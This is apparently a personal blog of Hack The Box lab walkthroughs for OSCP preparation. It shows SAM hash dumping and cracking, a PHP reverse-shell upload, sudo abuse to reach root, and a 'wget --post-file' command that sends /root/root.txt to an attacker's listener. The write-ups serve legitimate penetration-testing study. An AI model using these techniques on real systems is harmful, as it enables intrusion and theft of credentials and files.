"ajenti.usersync.adsync.ActiveDirectorySyncProvider": "{\"domain\": \"DOMAIN\", \"password\": \"\", \"user\": \"Administrator\", \"base\": \"cn=Users,dc=DOMAIN\", \"address\": \"localhost\"}", 
"ajenti.plugins.elements.usermgr.ElementsUserManager": "{\"groups\": []}", 
"ajenti.plugins.elements.projects.main.ElementsProjectManager": "{\"projects\": \"KGxwMQou\\n\"}"
}, 
"password": "KpMasng6S5EtTy9Z", 
"permissions": []
}
}, 
"language": "", 
"bind": {
"host": "0.0.0.0", 
"port": 8000
}, 
"enable_feedback": true, 
"ssl": {
"enable": false, 
"certificate_path": ""
}, 
"authentication": true, 
"installation_id": 12354
}

So what I missed before, was the other password of KpMasng6S5EtTy9Z. This doesn’t appear to have a username attached with it, but maybe we can try some obvious ones, like root, admin etc.

Root did the trick! We are into the interface!

You may notice what I did straight away. There is a tool called “Terminal” let’s try that first!

It works! We have a terminal on the box, a very quick look around and boom, we have the user flag!

Amazing, we got the user flag!

Also what you might notice, is that cheeky whoami told me that we are root. It can’t be that easy can it?

Oh. It was that easy.

Well, that was Luke! I feel we learnt a lot about JWT creation. How to authenticate with it and bit of a hunt for creds and reminding ourselves that good enumeration is key!

There could definitely have been some priv esc, but I wonder if it’s because it’s FreeBSD and people aren’t too familiar with it? Anyway, a fun box and learnt a heap! Good times!

Hack The Box – Bastion

Let’s have a crack at Bastion. It’s been released for 2 days, so far the User is seen as “Easy” with root being “Easy”/”Not too Easy”

So things we know straight up. It’s a Windows box with the IP of 10.10.10.134

First thing first, lets run an nmap scan on it:

nmap -sC -sV -O -oA nmap/bastion 10.10.10.134

The results are in, we have 4 ports open:

  • 22 – SSH
  • 134 – MSRPC
  • 139 – netbois-ssn
  • 445 – microsoft-ds

The host scrips brings back some potentially interesting results:

Host script results: 
|_clock-skew: mean: -39m58s, deviation: 1h09m14s, median: 0s
| smb-os-discovery: 
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) 
| Computer name: Bastion
| NetBIOS computer name: BASTION\x00 
| Workgroup: WORKGROUP\x00 
|_ System time: 2019-04-29T19:00:50+02:00 
| smb-security-mode: 
| account_used: guest 
| authentication_level: user 
| challenge_response: supported 
|_ message_signing: disabled (dangerous, but default) 
| smb2-security-mode: 
| 2.02: 
|_ Message signing enabled but not required 
| smb2-time: 
| date: 2019-04-29 18:00:49
|_ start_date: 2019-04-29 17:50:00

I’d say the ports 139/445 (SMB) are where we really need to look at first.

We have done this is on some previous boxes, but before we first digging. Let’s do a full port scan, there might be stuff hiding on high ports? Let’s run this in very verbose mode so any results come up straight away:

nmap -sC -p- -vvv -oA nmap/bastion-all-ports 10.10.10.134

We will also run an additional UDP scan to see if there is anything hiding there:

nmap -sU -O -oA nmap/Bastion-UDP 10.10.10.134

Well, I’m glad I did the full port scan, look at these results:

5985/tcp open wsman syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
49669/tcp open unknown syn-ack ttl 127
49670/tcp open unknown syn-ack ttl 127

So, lets look closer at those ports.

nmap -sC -sV -O -p 5985,47001,49664,49665,49666,49667,49668,49669,49670 -oA nmap/Bastion-HighPorts 10.10.10.134

I probably didn’t need the -O as we already know the OS version from earlier, being Windows 2016 Standard.

The results are in:

PORT STATE SERVICE VERSION
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC

2 ports with HTTPAPI on. I’m not entirely sure what they are. A quick google lets me know that:

SSDP is Simple Service Discovery Protocol which advertises and looks for network services. This controls communication for the Universal Plug and Play feature (uPnP).

This now rings a bell, was there not the printer and chromecast thing supporting pewdiepie. Looks pretty similar: https://www.bleepingcomputer.com/news/security/hacker-streaming-pewdiepie-videos-on-exposed-chromecast-devices/

So, this might well be our way in. A quick searchsploit shows a few vulnerabilities for UPnP:

So there are a few Buffer Overflows for Windows, but these are 98/XP/ME and we know that our target is running Windows Server 2016, so no dice there.

A quick check that there isn’t a webpage associated with the ports, reveals both get a 404 error, so that’s no good!

Right. The question is, what do we have and where do we go from here.

My first though, before the full port scan was looking at the SMB share to see if there is anything there. Let’s give that a go.

So let’s fire up smbclient and see what we can find, first let’s try and use an anonymous user to get the shares:

smbclient -L 10.10.10.134 -U anonymous

Ok:

We have success! We know the sharenames. Let’s see if we can connect into any of them. Our command for that is:

smbclient //10.10.10.134/C$ -U anonymous

smbclient //10.10.10.134/ADMIN$ -U anonymous

Both Permission Denied.

smbclient //10.10.10.134/Backups -U anonymous

Hooray! We are logged into the backups folder as an anonymous user.

A quick look around, we have a note.txt and an nmap-test-file, a couple of directories, but these are empty.  There is also a .tmp file.

So we use the “get” command to bring those back to our machine.

get nmap-test-file

get note.txt

So these are now locally on our host. Stupidly, I did this while in the /tools/enum4linux directory, so that is where they saved. I found them using:

find note.txt . | grep note.txt

Moved them back into the right directory.

Looking at the note.txt file first:

Interesting, so they use a VPN and there is some sort of backup. There is the folder WindowsImageBackup, let’s grab that.

The other file is empty.

Let’s see what really is in here, entering the recurse in the smb window lets us list all files, going through folders.

So there are a whole bunch of .xml files. Let’s see if we can grab all of those. Because of dash in the PC name, I can’t seem to recursively download everything, so I’ll have to do it file by file.

The XML files look to be configs, probably for the backup software. The .vhd files are the actual backups on the file structure.

Now, I think this is where the note comes in. It states don’t transfer the entire back up locally as the VPN issue. This isn’t them using a VPN, this is a message to us, the HTB VPN can’t cope with that sort of traffic. As a check we give it a go and we get a timeout. Not unexpected!

So, we either need to host it somewhere (a webserver) or mount and read it on the host pc.

So, this is now the tricky part. We know what we need. Those backups. The question is how do we get them? We have high ports open, let’s go back to the fact that both port 5985 and 47001 are httpapi ports. This now seems sensible to be our exfil point!

At this point, I had a quick look at the forum and it appears mounting it via the SMBshare is a better method. So let’s explore that.

So there are 2 commands in Windows to mount a VHD.

Via CMD:

select vdisk file="\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd"

or Via Powershell:

Mount-VHD -Path "\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd"

Quite reasonably, neither of these work over smbclient. As we are using SMB shares, I might be able to mount them in windows? Let’s spin up a Windows 10 VM and see if that helps! (My host machine is Windows 10, but I really don’t want to connect into HTB on my host machine!)

Ok, a windows10 VM is spun up. VPN connected and look here, we have the SMB share:

So, using the powershell we learnt earlier. Let’s try this out!

Not a great start, this is due to hyper-v and that fact I’m on VMware.

Can we use the built in “mount” function? After a lot of back and forth, I found out you can’t if you map the drive (to z:\ for example). So I try without the UNC path \\10.10.10.134\Backups\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351

Click Mount and….

Sigh! So that would probably work, if it wasn’t a heavily used platform!

So let’s go back to Linux. The first thing we need to work out, is how to mount the SMB share, so that we can navigate to it. After some googling I managed to find this blog: https://www.shellhacks.com/mount-remote-windows-partition-share-linux/ which helped me out.

Firstly, we created a folder for the share to be connected to on our Linux box:

mkdir Share

Also downloaded and installed the cifs toolset which allows for this connection:

apt-get install cifs-utils

The next part is running the command:

mount -t cifs //10.10.10.134/Backups/ /home/Yekki/Documents/htb/Bastion/Share/ -o dom=DOMAIN,user=anonymous,pass=Hello

A quick look in the share and doesn’t this look familiar:

So we can now go through and the VHD files are there.

Now we just need to work out how to mount the VHD so we can also explore that.

There is a set of tools called libvhdi which I found in this video: https://www.youtube.com/watch?v=inxoqsH9TxI

Once the tools are installed, we can try the commands:

vhdimount 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd /home/Yekki/Documents/htb/Bastion/Mount/

The command worked. But the permissions on the mount are very odd:

If we sudo su up to root. We are able to go into the Mount file, and we see vhdi1 as a file. We can’t directly interact with this file yet, as it hasn’t been mounted on our system.

To be able to mount and use this file, we need to calculate the offset of the mount.

First we need tp look at the partition data of the file, using:

mmls -aB vhdi1

This gives us a result of:

So the units are in 512-byte sectors.

To do the calculation we need to obtain the bc package which is a arbitrary precision calculator language.

apt-get install bc

We can then use this which is the last digits in the Start column, so for our case it’s 128. Then also using the units which we saw earlier is in 512-byte sectors.

echo 128*512 | bc

This results in 65536. This is the offset level for where the data starts.

The follow command should mount the vhd file for us to be able to explore:

mount -o ro,noload,offset=65536 vhdi1 /home/Yekki/Documents/htb/Bastion/Mount/

After waiting for a verrrry long time….

We can see that the directory is now searchable!

Lets have a look around and see if we can find a user flag.

So if this is a backup, the flag should be in Users/L4mpje

Nope. Nothing in there.

Let’s go a grep on the entire Mount to see if there is anything there:

grep -iR user.txt .

No flag. There is another step to this!

So if we remember our nmap scan from earlier, port 22 is open. So I wonder if there is an SSH password we need to get.

Windows stores it’s NTLM hashes under something called SAM the Security Account Manager. This tends to be located in Windows/System32/config

Normally you can’t open or copy this file, as it is always being used by System. However as this is a backup, not a live system. We might get lucky. So let’s head over there:

cd /Windows/System32/config

Ah there is a SAM, SECURITY and SYSTEM file. We will need all of these. I copied these across to my host machine, that way if the box gets reset is doesn’t affect the next stages.

To get anything useful from these, we need to dump it out.

There is an excellent set of tools called impacket available from here: https://github.com/SecureAuthCorp/impacket

Within that set of tools they have secretsdump.py which is what we will use. Installing impacket is easy, clone to repository then when in the folder run:

pip install .

The python script is then under impacket/examples/secretsdump.py

Running the script with the 3 variables:

./secretsdump.py -sam /home/Yekki/Documents/htb/Bastion/SAM -security /home/Yekki/Documents/htb/Bastion/SECURITY -system /home/Yekki/Documents/htb/Bastion/SYSTEM local

Give us this result:

We have the hash. Let’s run this through hashcat which has a built in NTLM hash option.

Firstly, we take out the part of the hash that we need, which is after the 3rd colon. Starting with 2611 for the L4mpje user. This is due to the the format of the NTLM hash. We have:

L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::

User:relative identifier:    LM Hash:                                        NT Hash:

Hashcat requires just the NT hash. So we copy that into a new text file.

echo "26112010952d963c8dc4217daec986d9" > L4mpje-hash.txt

Looking at hashcat, NTLM hashes are hash mode 1000 (https://hashcat.net/wiki/doku.php?id=hashcat) We want to set the attack mode as 0 (straight) and output the file.

hashcat -m 1000 -a 0 -o password.txt L4mpje-hash.txt /usr/share/wordlists/rockyou.txt --force

We had to use the –force option as I’m doing this cracking in a VM rather than with dedicated graphics cards.

If we cat the output file we get:

There is the password. You will notice that Impacket also output the password, but I wanted to go through hashcat just to double check (and learn).

So now I guess we can use this to ssh into the box.

Success. Now, as this is the live box, we can go have another look at the User share and see if there is a flag this time.

There it is! Now just to remember how to read a file from cmd.

Win!

Now, let’s head onto root and see what we can do!

Having an initial look around the system, there are a couple of programs we can investigate. In Program Files:

We have PackageManagement which is a set of cmdlets from Windows. Seems unlikely to be our route in. The other is OpenSSH but this will be to allow our SSH session onto the box.

Heading over the Program Files (x86) we get:

I’m not sure what mRemoteNG is, but looks like it could be interesting. A quick google tells me that it’s a remote connections manager allowing for a range of different connections. A quick searchsploit brings up nothing but a google search brings back some results:

Yeah I think we are in the right place here! It looks like the “bug” was fixed in v1.76. Let’s see if we can find out the version installed. There is a changelog file, the latest entry is, v1.76.10.

So it looks like exploits aren’t the same way. Let’s see if there is password leakage anywhere.

Looking at the application, there is another config file stored in:

C:\Users\L4mpje\AppData\Roaming\mRemoteNG

If we read the config file we get a whole heap of info. But what we really need is this part:

The protocol is RDP on port 3389. However port 3389 isn’t open as we found out on our nmap scan earlier, so that’s a no go.

This password also looks a lot like a hash. It’s not base64 as it has a “/” in it. A quick google of getting password from the mRemoteNG brings up a bunch of results. This was most useful: https://robszar.wordpress.com/2012/08/07/view-mremote-passwords-4/

We can create a External Tool within the program which does:

/k echo %password%

This will then decrypt and print out the password in plain text. After wondering how I could do this from just an ssh shell, I realised that it wasn’t really an option. So instead, lets download the program and see if we can get that config file out to our local Windows VM.

I went and downloaded and installed the program from the offical github: https://github.com/mRemoteNG/mRemoteNG

After installing the program, I went about exfilling the data. I tried to copy & paste from a type. However all the spacing was wrong and was just a terrible idea all round. It then took me a while to think of what to do. If this was linux, i’d do a SimpleHTTPServer, but no good. Then I remembered how I got the data out originally, the SMB share. Obviously! Once I realised, I felt like a right wally, anyway!

So first off I used copy:

copy confCons.xml C:\Backups

Then I went back and used smbclient

smbclient //10.10.10.134/Backups -U anonymous

get confCons.xml

Then to leave as few spoliers as possible, I went back to my ssh sessions:

del C:\Backups\confCons.xml

Always try to tidy up after yourself, otherwise you are ruining it for other users! Especially as the SMB is at the start of the box!

On my VM I copy the file into the same place APPDATA/Roaming/mRemoteNG

Open up the software

Both users are there. We know from the config the DC uses administrator so this is the one we are interested in.

First though, we need to create the external tool. In MRemoteNG go to “Tools” -> “External Tools”

Click New and fill in the details:

Going back to our connections, lets try the L4mpje-PC user and see if that password matches the one we got earlier:

It does, brilliant. So we know the theory here works! Let’s get the admin password!

Lets try to ssh in with those creds. Success!

Heading over to Desktop, we see the root flag there!

And there is the root flag!

I really enjoyed this box, it used skills that I had but going through the process and writing it up really helped me embed that knowledge. Getting the user password was really interesting and totally real life which I enjoyed, I can see that being used on tests in the future.

The root was also good, nice to not rely on an exploit but dig deep and enumerate until you find each of the interesting parts!

HTB – Nibbles

Here we go, another box in prep for OSCP!

We are going to do Nibbles. I have previously got user on this box but I don’t remember how; I never managed to get root previously. So let’s have a go!

nmap -Pn -oA nmap/initial 10.10.10.75 -vv

We have 2 ports:

  • 22 – SSH
  • 80 – HTTP

Let’s get a full nmap running and go check out the webserver.

sudo nmap -Pn -p- -oA nmap/full 10.10.10.75 -vv

The webserver has a simple page, it just states “Hello World”. Looking at the page source though, we get something a bit more exciting!

Shall we go and check out nibbleblog!

There is a basic website.

If we go to /admin/ we get a directory listing:

Before we look through all of those, let’s do a searchsploit and see if we get anything.

There is an arbitrary file upload. We like those! Let’s take a look at the code!

searchsploit -x 38489

It does a whole bunch of stuff but does ask for the username and password. Let’s spin up msfconsole and see if we get anything.

Creds are needed, so this is out for the moment!

Let’s get a gobuster running and see what else we have in here.

gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

We get some early hits! Including:

  • content
  • themes
  • admin
  • plugins
  • README
  • languages

Let’s bounce through these while gobuster continues to run.

The README gives away the version which is v4.0.3 released in 2014! I feel it’s going to be vulnerable to stuffs!

Having a look through the other folders there is some stuff.

Let’s run another gobuster to search for pages as well as directories:

gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x .php,.html,.txt,.bak

We get some more hits! Including:

  • feed.php
  • sitemap.php
  • admin.php
  • index.php
  • install.php
  • update.php

Let’s go check some of those out!

Most are nothing interesting, but we find a goodun with admin.php

Login area!

Trying some defaults like admin/administrator with password; admin; nibble;Nibble;Nibbles;nibbles;nibbleblog;Nibbleblog

Eeek, half way through trying them:

That means trying any sort of bruteforcing is a waste of time!

I guess I gotta wait this out!

Enumeration is going to be the key here. Looking through all the files we have access to, to find the one we want!

Looking for a default username and password we don’t find much, looks like the user sets this on install!

This doesn’t help!

I’ve downloaded and grepped through all the files I can, without any luck.

Maybe it’s something simple. Other usernames? nibbleblog or nibble.

Let’s try those.

Urgh, blacklist protection is boring!

Let’s stick my list of usernames and passwords into Burp and see if we can slowly brute force this!

Changing the attack method to clusterbomb and upped the pause before retry to 15 seconds. Hopefully slow enough to keep going!

It was not. We kept getting blacklisted. So dull!

I think we need to prioritise what we try:

  • admin:nibbleblog
  • administrator:nibbleblog
  • admin:nibbles
  • administrator:nibbles
  • nibbleblog:nibbleblog
  • nibbleblog:password
  • admin:password
  • administrator:password

Let’s do these in that order, and see where we get to!

So we started and on the 3rd we got there!

The username was admin with the name of the box as the password.

That was convoluted and I remember it being a PITA the last time. I really thought both times it would be hidden in some javascript or something.

Never mind. We are now in!

If we remember earlier, we had a file upload available if we had creds!

So the exploit is in file upload under a image plugin. When we upload a file, it should appear here:

http://10.10.10.75/nibbleblog/content/private/plugins/my_image/

We just need to find the plugin and get uploading (ignoring any errors)

Finding the my image plugin in the plugins page and clicking it brings us to here:

Let’s get pentestmonkeys php reverse shell script and see if we can upload that!

We upload the file and get a whole heap of errors

Get a nc listener running on port 1234 (which we specified in the script)

and we visit the above URL.

We get a callback!

We upgrade to a bash shell using python

python -m 'import pty;pty.spawn("/bin/bash")'

Oooh, python isn’t installed. Let’s try with python3

It doesn’t work with python3, I thought it did.

Never mind, we can work with a restricted shell for the moment.

A quick search and we get the user flag! (That I previously got, so no huge air punches here!)

What you’ll also notice is there is an interesting file there. personal and a pesonal.zip

Let’s take a look at the directory first.

A couple of directories deep we get a script called monitor.sh. It contains:

bash -i

Running it brings back an error:

bash: cannot set terminal process group (1309): Inappropriate ioctl for device
bash: no job control in this shell

Doing it on my hostmachine, doesn’t do anything!

I recreated it on my kali machine and running it doesn’t do anything. Adding commands afterwards, doesn’t seem to do anything.

Odd.

Let’s park that and go have a look at the zip file!

I used nc to move it across to my kali host.

nc -nvlp 9009 > personal.zip

nc 10.10.14.33 9009 < personal.zip

Unzipping the file, we then take a look at the script.

Interesting, it’s different, very different!

Let’s go through other main enumeration steps. First things first:

sudo -l

Ooooh!

 

So we can sudo that file.

If we try that:

sudo /home/nibbler/personal/stuff/monitor.sh

So, we get a root shell and are able to read the root shell.

I’m a mix of all 4 emotions! I got a root shell and root flag, but slightly cross as I don’t think I should have been able to!

Now. I think someone else has been on this box and changed that monitor script.

Let’s do a reset of the box and see what those files contain after a fresh build!

The home directory has a zip file in it!

So we know we can do the sudo. A quick check confirms that’s true.

First we create the folder structure:

mkdir -p personal/stuff

This creates both directories at the same time.

Then create a file, I created mine in nano on my machine as vi is a vile thing!

What I’ve gone for it a reverse shell

nc 10.10.14.33 9009

Then copy that across using nc.

Set up a nc listener on port 9009 and run the script using sudo.

Didn’t work!

My next go would be to change the monitor script to be a single word.

sh

This is the same theory as bash -i just less typing.

That time it worked! Excellent. Not sure why the nc command didn’t work but anyway. We got there!

 

 

HTB – Sunday

Wooo, here we go. Ready for another rollercoaster adventure on HTB from TjNull’s OSCP prep guide! 

It’s Sunday (it’s actually Thursday) so no-one is going to be confused!

Let’s go

sudo nmap -Pn -oA nmap/initial 10.10.10.76 -vv

We have some abnormal ports open:

  • 79 – Finger
  • 111 – sunrpc

I think we need a more in depth nmap scan straight off the bat!

sudo nmap -sC -sV -O -p 79,111 -oA nmap/fuller 10.10.10.76 -vv

We get some more detailed results out.

So this is a solaris box.

There is a built in linux command called finger which can give us some information.

finger -l root@10.10.10.76

(Also, watch me take the high group and not make a bunch of finger(ing) jokes!)

So we gave the box a good hard finger(ing).  (Dammit!)

With that idea, we can make a little bruteforcer using finger. To loop through all users in the wfuzz names.txt file

cat /usr/share/wordlists/wfuzz/others/names.txt | while read line; do finger -l $line@10.10.10.76; done

This loops through and prints the output on screen!

We have some success through our fingering.

This is pretty boring, as it’s printing out each line and taking fucking ages! It’s a big wordlist!

Why don’t we throw it into a file and leave it going in the background!

I’m sure there is a better username enumerator out there, but I like making small loops with bash. It comes in useful really often!

I had a quick google and pentestmonkey has a username enumerator.

Downloading that and running it with the command:

perl finger-user-enum-1.0/finger-user-enum.pl -t 10.10.10.76 -U /usr/share/wordlists/wfuzz/others/names.txt

After that runs for a while we get some results.

There is also a metasploit module which gives much cleaner output:

use auxiliary/scanner/finger/finger_users

I’ve set the wordlist to be rockyou-75 from SecLists as the username file wasn’t getting me very far.

A lot of prodding and different wordlists went into this.

A full nmap scan was also done, with no results.

However, after a while, we got some results.

So we now have some users, if we go back to our main finger command:

We get some results. These users have logged in previously and have main directories.

So now that we have users. What can we do?

I have literally no idea.

I realised earlier my full port nmap was done against the wrong IP, I did .78 rather than .76, so let’s re-run that as having rpcbind would indicate there might be something running on a high port.

Our nmap bought back a goodie, hidden high in the heights of port numbers!

Interesting, smserverd. A google search brings back very limited results again. Not sure this is our path!

(The all ports nmap scan is only 20% of the way through, so we might get some more ports! At least, I hope we get more ports, otherwise I am totally stuck!)

There is another port, 22022 is open!

Trying to connect we get an error for both Sunny and Sammy:

Unable to negotiate with 10.10.10.76 port 22022: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1

A quick google shows that this is an old key exchange algorithm so we need to force ssh to use one of those. We can do that with:

ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 sunny@10.10.10.76 -p 22022

We get prompted for a password. Shit, we haven’t found a password yet.

We try some basics, so sunny & sammy as these are the information we have found. No dice.

My colleague yells over the office “try Sunday”.

He is a smart guy!

We use find to locate the flag

find / -name user.txt

It’s there!

A quick cat and we get: permission denied!

It’s in sammy and we are sunny. Bollocks!

Can we sudo across to sammy?

Sudo -l

/root/troll

WTF is that!

So we can run that, let’s give it a go:

sudo /root/troll

We get a result:

testing
uid=0(root) gid=0(root)

Ok, not sure what’s that doing, it looks like it’s running the command ID though.

Let’s create a executable called ID in it with the single command sh.

This if triggered will give us a shell, at root level.

Once that file is created, we need to edit the paths, so that the command will go to ours first (assuming the script using “id” not the full path “/usr/gnu/bin/id”)

To do that we use the command:

export PATH=/export/home/sunny:/usr/gnu/bin:/usr/bin:/usr/X11/bin:/usr/sbin:/sbin

Then let’s run the troll file again.

Blast!

Doing the same idea with cat and echo, just in case the script is using those. Same result!

Really, we need to know what the script is doing.

I tried to get 32 and 64 versions of pspy over and neither would run, so that’s out! It looks like watching processes on a Solarius box is quite tricky!

So, let’s leave this troll and see what else there is.

We had a look around and my boss ended up cheating a bit and looking up some spoilers.

Under / there is a folder that isn’t normally there.

That’s right, at the top, backup.

In there is a shadow.backup file with sammy and sunny’s hashes in them!

sunny@sunday:/backup$ cat shadow.backup 
mysql:NP:::::::
openldap:*LK*:::::::
webservd:*LK*:::::::
postgres:NP:::::::
svctag:*LK*:6445::::::
nobody:*LK*:6445::::::
noaccess:*LK*:6445::::::
nobody4:*LK*:6445::::::
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

Let’s do some hashcatting. The hash starts with the $5$ which would indiciate the encryption method. I can’t seem to find much for $5$ especially for hashcat or decrypting this.

I am once again. Stuck!

A quick bit of reading let me know not to bother using hashcat but instead to use john. The syntax is far too simple, not sure how it works.

john hashes.hash --wordlist=/usr/share/wordlists/rockyou.txt

john is obviously the cracker johntheripper. I’m amazed I didn’t have to tell it anymore details or flags. It just did it!

That’s a useful super easy command to remember for if I come across shadow files again!

And with that: user!

Excellent!

Ok, now let’s see what we can do with sammy!

Again, we take a look at sudo and this time we get:

sunny@sunday:/backup$ sudo -l
User sammy may run the following commands on this host:
(root) NOPASSWD: /usr/bin/wget

So we can wget a file!

A google of wget priv esc shows a method that can be used. This allows files to be “posted” used wget.

The syntax for this is:

sudo /usr/bin/wget --post-file=/root/root.txt 10.10.14.33:9009

This will post the contents of the file to our listener, so we set one up to save it into a file

nc -nvlp 9009 > root.txt

The request comes in and we cat the file.

Success, we have a root flag!

That was a very easy priv esc and another great trick to know how to do!

However the initial shell and finding a file in the main / directory were a huge pain!

So in summary

HTB – Posion

Let us continue on our merry HTB retired box journey! This time we are going to look at Poison!

As always, start with an initial nmap scan:

sudo nmap -Pn -oA nmap/initial 10.10.10.84 -vv

We have 2 ports open:

  • 22 – SSH
  • 80 – HTTP

Let’s go have a look at the webserver and we will run a fuller scan while we do that

sudo nmap -p- -oA nmap/allports 10.10.10.84 -vv

The webserver give us something very interesting! It’s a way to test local .php scripts!

The info, gives us the system info back:

FreeBSD Poison 11.1-RELEASE FreeBSD 11.1-RELEASE #0 r321309: Fri Jul 21 02:08:28 UTC 2017 root@releng2.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC amd64

Listfiles give us a list of files. One of theses isn’t like the other!

Heading over to pwdbackup.txt we get some base64!

It’s encoded at least 13 times. Is that going to be a rot13 then base64. Or base64 then rot13? Or base64 13 times?

Before we dive down there, can we do some directory traversal on the file input? Let’s try and read /etc/passwd

We can! We have some users, one of which is charix!

So we have a passwd back up file and a username. How are we going to put these together.

A quick play with cyberchef for a few options on the password we get:

That is 13 base64 decodes! It looks like a password.

The only other port we have open is SSH, so shall we try that?

Bingo! User flag!

A password containing the username and a keyboard walk, what madness is that! I guess it might help if you didn’t work out the file traversal?

Ok, let’s have a look around! In the home directory is a zip file called “secret.zip” This is owned by root but with charix as the group.

Let’s unzip that and see what we have!

Hmm it needs a passphrase !

Let’s re-try the ssh password.

unzip -p Charix!2#4%6&8(0 secret.zip

We get a “2: Event not found.”

Trying the password with ‘ and ” quotes gives the same response. However using a single word password we get

unzip: Failed to open 'password'

Strange!

Let’s park that for the moment and get pspy across to see if there is anything else going on.

Hmmm, pspy doesn’t run with a:

ELF binary type "3" not known.
./pspy32s: Exec format error. Binary file not executable.

Maybe because this is freebsd rather than debian/ubuntu.

Let’s go back to this zip file. Copying it across to my local kali, we are going to try and bruteforce it!

To do this, let’s use nc. On my host box we set up a listener and to point anything that’s sent across into secret.zip

nc -nvlp 9002 > secret.zip

Then on the target we send the file across

nc 10.10.14.33 9002 < secret.zip

We now have the zip file on our local box and can try to crack the password using fcrackzip.

A look at the help shows we need

fcrackzip -u -v -D -p '/usr/share/wordlists/rockyou.txt' secret.zip

The flags mean:

  • -u use unzip
  • -D dictionary attack
  • -p use string as initial password
  • -v verbose

That appeared to fail.

I tried doing just an unzip on my kali box and I got prompted for the password. Entering the ssh password worked!

So I was on the right lines, it just couldn’t done in FreeBSD.

The zip file is unzipped. That’s great. Let’s read that bad boy!

Hmm, that’s a bit of a weird pattern!

A quick google and it looks like that encoding is very bizarre, so we might need to convert this UTF-8 to make it readable.

This is all looking a bit too complicated and potentially a red herring.

Let’s get LinEnum over and see what’s going on with the box!

Getting it over, it also doesn’t run.

Right, manual enumeration it is. What’s running as root?

ps aux | grep root

We get a fair few hits. A few look very interesting!

The xvnc viewer is what jumps out at me. I have no idea what it does so I’ve got the manpage.

Geometry is exactly that, the size of the desktop. The depth is the colour range. rfbwait is the maximum time to wait for a RFB client (vnc viewer)

I guess the question is can we view that screen, or take over that. I feel there is more of the command we are missing.

If we do a

ps -A

We get some more information

So the service is running on port 5901 and localhost.

Doing an nmap on that port from my kali box, shows it as closed.

However looking on the target we need to use a sockstat which lists all ports:

So there is port 5901 for xVNC being run by root.

If do some port forwarding, we might be able to get to that port.

So on our local box, if we do a local port forward of port 5901 to 5901 on the target box:

ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84

We log in using the password.

Confirming the port forward by using netstat

netstat -antp | grep 5901

the flags used there are:

  • a  – show all
  • n – numeric ports
  • t – tcp
  • p – program (show the PID)

That shows there is a port forward. Is it to the right place? Hope so!

So we know it’s using vnc so if we try to connect to our localhost port 5901 with vnc do we get forwarded to the poison box?

We have vncconnect installed which would make sense. The usage is:

usage: vncconnect [-display Xvnc-display] host[:port]

So we need to look at the flags and work out what we need.

After a bit of googling it doesn’t look like we want vncconnect.

There is also vncviewer installed, that I missed first time. So let’s try logging onto that one!

vncviewer 127.0.0.1:5901

This connects us to something and it asks for a password.

Same password 3 times? Let’s try.

Nope.

What else have we seen? There was the secret zip. Maybe that weird output is the password.

Nope.

Maybe the file name of secret? (i’ll try everything before having to try and work out how to decode that output!)

There is the abtility to give a password file. Maybe we can try that with the secret file?

vncviewer 127.0.0.1:5901 -passwd secret

Ahaha!

So we needed to set up a port forward, then use the secret file to connect to that via VNC.

Another pretty complicated priv esc there that I would be very  surprised to see outside of a CTF!

Anyway, it’s now my favourite time!

 

 

HTB – Tartarsauce

Let’s get readyyyyy to hack a box! This time it’s going to be tartarsauce from the retired pool of HTB!

This is all still part of the OSCP prep and the last 2 days I’ve rooted 6 boxes and learnt loads from it! So hopefully, this can continue!

First up, nmap! A quick scan just to give us a bit of an overview so we can start looking at stuff while a more in depth nmap is running.

sudo nmap -Pn -oA nmap/initial 10.10.10.88 -vv

We use the verbose flags so I can see all the requests nmap is making and get those answers slightly quicker! It might not make much of a difference on HTB but on a big infrastructure test or a wide range of IPs it can make a huge difference.

We have an open port:

  • 80 – HTTP

While we investigate that, we will get a full port scan running, just in case something is hiding up high!

The HTTP landing page is a nice ASCII art of a bottle of tartarsauce. Makes sense!

Let’s get gobuster on the case to see if there are any interesting directories!

No additional ports founds on the nmap. Let’s quickly do a UDP scan just for fun!

sudo nmap -sU -p- -oA nmap/UDP 10.10.10.88 -vv

While that runs, we have a robots.txt file found by gobuster.

So this tells us there is a folder called /webservices/

If we visit that we get a Forbidden error.

Going to each of the URLs give us 404 not found errors, apart from 1.

We have monstra v3.0.4. I know nothing about this so a quick google brings up their website: https://monstra.org/

It is a content management system (CMS).

Doing some manual enumeration all the buttons at the top go to a 404. However, when clicking logged in, we get to the admin login page:

http://10.10.10.88/webservices/monstra-3.0.4/admin/

 

A quick searchsploit brings back results

